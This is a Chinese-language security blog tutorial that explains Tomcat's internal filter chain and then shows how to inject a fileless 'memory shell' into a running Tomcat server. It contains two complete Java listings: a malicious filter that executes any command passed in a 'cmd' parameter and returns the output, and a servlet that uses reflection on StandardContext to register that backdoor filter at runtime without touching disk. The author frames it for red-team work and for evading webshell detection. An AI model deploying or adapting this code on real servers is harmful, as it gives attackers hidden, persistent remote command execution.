Java安全之基于Tomcat实现内存马

Java安全之基于Tomcat实现内存马

0x00 前言

在近年来红队行动中，基本上除了非必要情况，一般会选择打入内存马，然后再去连接。而落地Jsp文件也任意被设备给检测到，从而得到攻击路径，删除webshell以及修补漏洞，内存马也很好的解决了反序列化回显的问题。但是随着红蓝攻防持续博弈中，一些内存马的查杀工具也开始逐渐开始出现、成型。所以有必要研究一下内存马的实现。

0x01 Tomcat架构分析

需要了解基于tomcat内存马实现还得去分析tomcat的一些处理机制以及结构。而在Tomcat中的内存马并不能和Weblogic的内存马实现通用，因为结构上就不一样。

下面对tomcat的体系结构与执行流程进行一系列的探究，下面来看张tomcat的架构图

• Server：
  
  Server，即指的WEB服务器,一个Server包括多个Service。

• Service：

  Service的作用是在Connector和Engine外面包了一层（可看上图），把它们组装在一起，对外提供服务。一个Service可以包含多个Connector，但是只能包含一个Engine，其中Connector的作用是从客户端接收请求，Engine的作用是处理接收进来的请求。后面再来细节分析Service。

• Connector：

  Tomcat有两个典型的Connector，一个直接侦听来自browser的http请求，一个侦听来自其它WebServer的请求Coyote Http/1.1 Connector 在端口8080处侦听来自客户browser的http请求
  
  Coyote JK2 Connector 在端口8009处侦听来自其它WebServer(Apache)的servlet/jsp代理请求。

• Engine：

  Engine下可以配置多个虚拟主机，每个虚拟主机都有一个域名当Engine获得一个请求时，它把该请求匹配到某个Host上，然后把该请求交给该Host来处理Engine有一个默认虚拟主机，当请求无法匹配到任何一个Host上的时候，将交给该默认Host来处理。

• Host：

  代表一个虚拟主机，每个虚拟主机和某个网络域名Domain Name相匹配
  
  每个虚拟主机下都可以部署(deploy)一个或者多个Web App，每个Web App对应于一个Context，有一个Context path，当Host获得一个请求时，将把该请求匹配到某个Context上，然后把该请求交给该Context来处理匹配的方法是“最长匹配”，所以一个path==""的Context将成为该Host的默认Context所有无法和其它Context的路径名匹配的请求都将最终和该默认Context匹配。

• Context：

  一个Context对应于一个Web Application，一个WebApplication由一个或者多个Servlet组成
  
  Context在创建的时候将根据配置文件$CATALINA_HOME/conf/web.xml和$WEBAPP_HOME/WEB-INF/web.xml载入Servlet类，当Context获得请求时，将在自己的映射表(mapping table)中寻找相匹配的Servlet类。如果找到，则执行该类，获得请求的回应，并返回。

下面来看详细说明：

Connector

Connector也被叫做连接器。Connector将在某个指定的端口上来监听客户的请求，把从socket传递过来的数据，封装成Request，传递给Engine来处理，并从Engine处获得响应并返回给客户端。

Engine：最顶层容器组件，其下可以包含多个 Host。
Host：一个 Host 代表一个虚拟主机，其下可以包含多个 Context。
Context：一个 Context 代表一个 Web 应用，其下可以包含多个 Wrapper。
Wrapper：一个 Wrapper 代表一个 Servlet。

对照图：

ProtocolHandler

在Connector中，包含了多个组件，Connector使用ProtocolHandler处理器来处理请求。不同的ProtocolHandler代表不同连接类型。ProtocolHandler处理器可以用看作是协议处理统筹者，通过管理其他工作组件实现对请求的处理。ProtocolHandler 包含了三个非常重要的组件,这三个组件分别是：

- Endpoint: 负责接受，处理socket网络连接
- Processor： 负责将从Endpoint接受的socket连接根据协议类型封装成request
- Adapter:负责将封装好的Request交给Container进行处理,解析为可供Container调用的继承了		      ServletRequest接口、ServletResponse接口的对象。

请求经Connector处理完毕后，传递给Container进行处理。

Container

Container容器则是负责封装和管理Servlet 处理用户的servlet请求，并返回对象给web用户的模块。

Container 处理请求，内部是使用Pipeline-Value管道来处理的，每个 Pipeline 都有特定的 Value（BaseValue），BaseValue 会在最后执行。上层容器的BaseValue 会调用下层容器的管道，FilterChain 其实就是这种模式，FilterChain 相当于 Pipeline，每个 Filter 相当于一个 Value。4 个容器的BaseValve 分别是StandardEngineValve 、StandardHostValve 、StandardContextValve 和StandardWrapperValve。每个Pipeline 都有特定的Value ，而且是在管道的最后一个执行，这个Valve 叫BaseValve，BaseValve 是不可删除的。

这三张图其实就很好的解释了他的一个执行流程，看到最后一张图，在wrapper-Pipline执行完成后会去创建一个FilterChain对象也就是我们的过滤链。这里来解释一下过滤链。

过滤链：在一个 Web 应用程序中可以注册多个 Filter 程序，每个 Filter 程序都可以针对某一个 URL 进行拦截。如果多个 Filter 程序都对同一个 URL 进行拦截，那么这些 Filter 就会组成一个Filter 链（也称

过滤器链）。

如果做过Java web开发的话，不难发现在配置Filter 的时候，假设执行完了就会来到下一个Filter 里面，如果都 FilterChain.doFilter进行放行的话，那么这时候才会执行servlet内容。原理如上。

整体的执行流程，如下图：

Server :
- Service
-- Connector: 客户端接收请求
--- ProtocolHandler: 管理其他工作组件实现对请求的处理
---- Endpoint: 负责接受，处理socket网络连接
---- Processor: 负责将从Endpoint接受的socket连接根据协议类型封装成request
---- Adapter: 负责将封装好的Request交给Container进行处理,解析为可供Container调用的继承了		      ServletRequest接口、ServletResponse接口的对象。
--- Container: 负责封装和管理Servlet 处理用户的servlet请求，并返回对象给web用户的模块
-- Engine:处理接收进来的请求
--- Host: 虚拟主机
--- Host: 虚拟主机
--- Host: 虚拟主机
--- Context: 相当于一个web应用
--- Context：相当于一个web应用
--- Context：相当于一个web应用

0x02 过滤链分析

在分析过滤链前需要了解的一些基础知识，不然看起来比较费劲。在网上查阅了一些资料。

ServletContext

javax.servlet.ServletContextServlet规范中规定了的一个ServletContext接口，提供了Web应用所有Servlet的视图，通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器在启动时，它会为每个Web应用程序都创建一个对应的ServletContext，它代表当前Web应用。并且它被所有客户端共享。

看到ServletContext的方法中有addFilter、addServlet、addListener方法，即添加Filter、Servlet、Listener

那么如何获取到这个ServletContext呢？

获取ServletContext的方法

this.getServletContext();
this.getServletConfig().getServletContext();

但是这里获取到的实际上是一个ApplicationContextFacade对象，该对象对ApplicationContext的实例进行的一个封装。

ApplicationContext

org.apache.catalina.core.ApplicationContext

对应Tomcat容器，为了满足Servlet规范，必须包含一个ServletContext接口的实现。Tomcat的Context容器中都会包含一个ApplicationContext。

StandardContext

Catalina主要包括Connector和Container，StandardContext就是一个Container，它主要负责对进入的用户请求进行处理。实际来说，不是由它来进行处理，而是交给内部的valve处理。

一个context表示了一个外部应用，它包含多个wrapper，每个wrapper表示一个servlet定义。（Tomcat 默认的 Service 服务是 Catalina）

Filter链分析

过滤链创建细节分析

假设我们基于filter去实现一个内存马，我们需要找到filter是如何被创建的。

下面使用IDEA对其进行调试，这里配置了一个简单的过滤器，然后运行进行调试。

打开IDEA开冲。下个断点逆向进行分析

org.apache.catalina.core.ApplicationFilterChain#internalDoFilter中会去调用filter.doFilter才会来到我们配置的filter.doFilter方法中。其实还是前面讲到的责任链。

这里会从filterConfig中去获取到一个filter对象然后来进行调用doFilter。跟踪到上层。

org.apache.catalina.core.ApplicationFilterChain#doFilter会被org.apache.catalina.core.StandardWrapperValve#invoke方法调用。

invoke方法说明：请求进入后，Connector调用context的invoke方法。invoke将请求交给其pipeline去处理，由pipeline中的所有valve顺序处理请求。

在invoke方法的位置调用filterChain.doFilter，对请求进行过滤操作。那么再来看看filterChain是如何获取到的。

使用ApplicationFilterFactory.createFilterChain创建了一个过滤链，将request, wrapper, servlet进行传递。

跟进ApplicationFilterFactory.createFilterChain方法查看

这里则会调用context.findFilterMaps()从StandardContext寻找并且返回一个FilterMap数组。

再来看到后面的代码

遍历StandardContext.filterMaps得到filter与URL的映射关系并通过matchDispatcher()、matchFilterURL()方法进行匹配，匹配成功后，还需判断StandardContext.filterConfigs中，是否存在对应filter的实例，当实例不为空时通过addFilter方法，将管理filter实例的filterConfig添加入filterChain对象中。

再回溯上层

 Wrapper wrapper = request.getWrapper();
		......

 wrapper.getPipeline().getFirst().invoke(request, response);

而下面的一系列都是调用管道的invoke方法，则对应这张图

Filter实例存储分析

下面再来看看Filter实例存放的位置在哪，在开发中会从web.xml或注解去配置一个Filter，org.apache.catalina.core.StandardContext容器类负责存储整个Web应用程序的数据和对象，并加载了web.xml中配置的多个Servlet、Filter对象以及它们的映射关系。

里面有三个和Filter有关的成员变量：

    filterMaps变量：包含所有过滤器的URL映射关系

    filterDefs变量：包含所有过滤器包括实例内部等变量 

    filterConfigs变量：包含所有与过滤器对应的filterDef信息及过滤器实例，进行过滤器进行管理

filterConfigs 成员变量是一个HashMap对象，里面存储了filter名称与对应的ApplicationFilterConfig对象的键值对，在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息。

filterDefs 成员变量成员变量是一个HashMap对象，存储了filter名称与相应FilterDef的对象的键值对，而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据

filterMaps 中的FilterMap则记录了不同filter与UrlPattern的映射关系

private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap();

private HashMap<String, FilterDef> filterDefs = new HashMap();

private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps();

0x03 内存马实现

先来配置一个配置上一个恶意的Filter。

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

@WebFilter("/*")
public class cmd_Filters implements Filter {
    public void destroy() {
    }

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        if (req.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            resp.getWriter().write(output);
            resp.getWriter().flush();
        }
        chain.doFilter(request, response);
    }

    public void init(FilterConfig config) throws ServletException {

    }

}

本质上其实就是Filter中接受执行参数，但是如果我们在现实情况中需要动态的将该Filter给添加进去。

由前面Filter实例存储分析得知 StandardContext Filter实例存放在filterConfigs、filterDefs、filterConfigs这三个变量里面，将fifter添加到这三个变量中即可将内存马打入。那么如何获取到StandardContext 成为了问题的关键。

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

import java.util.Map;
import java.util.Scanner;

@WebServlet("/demoServlet")
public class demoServlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

//        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
//        org.apache.catalina.webresources.StandardRoot standardroot = (org.apache.catalina.webresources.StandardRoot) webappClassLoaderBase.getResources();
//        org.apache.catalina.core.StandardContext standardContext = (StandardContext) standardroot.getContext();
//该获取StandardContext测试报错
        Field Configs = null;
        Map filterConfigs;
        try {
            //这里是反射获取ApplicationContext的context，也就是standardContext
            ServletContext servletContext = request.getSession().getServletContext();

            Field appctx = servletContext.getClass().getDeclaredField("context");
            appctx.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

            String FilterName = "cmd_Filter";
            Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            filterConfigs = (Map) Configs.get(standardContext);

            if (filterConfigs.get(FilterName) == null){
                Filter filter = new Filter() {

                    @Override
                    public void init(FilterConfig filterConfig) throws ServletException {

                    }

                    @Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                        HttpServletRequest req = (HttpServletRequest) servletRequest;
                        if (req.getParameter("cmd") != null){

                            InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
                            Scanner s = new Scanner(in).useDelimiter("\\A");
                            String output = s.hasNext() ? s.next() : "";
                            servletResponse.getWriter().write(output);

                            return;
                        }
                        filterChain.doFilter(servletRequest,servletResponse);
                    }

                    @Override
                    public void destroy() {

                    }
                };
                //反射获取FilterDef，设置filter名等参数后，调用addFilterDef将FilterDef添加
                Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
                Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
                FilterDef o = (FilterDef)declaredConstructors.newInstance();
                o.setFilter(filter);
                o.setFilterName(FilterName);
                o.setFilterClass(filter.getClass().getName());
                standardContext.addFilterDef(o);
                //反射获取FilterMap并且设置拦截路径，并调用addFilterMapBefore将FilterMap添加进去
                Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
                org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();

                o1.addURLPattern("/*");
                o1.setFilterName(FilterName);
                o1.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(o1);

                //反射获取ApplicationFilterConfig，构造方法将 FilterDef传入后获取filterConfig后，将设置好的filterConfig添加进去
                Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
                Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
                declaredConstructor1.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
                filterConfigs.put(FilterName,filterConfig);
                response.getWriter().write("Success");

            }
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doPost(request, response);
    }
}

这个StandardContext获取到的方式也有待研究。获取到StandardContext类后，后面的则是使用反射将一些属性或值添加进去的步骤。

0x04 结尾

寥寥草草结尾，其实还有很多值得研究。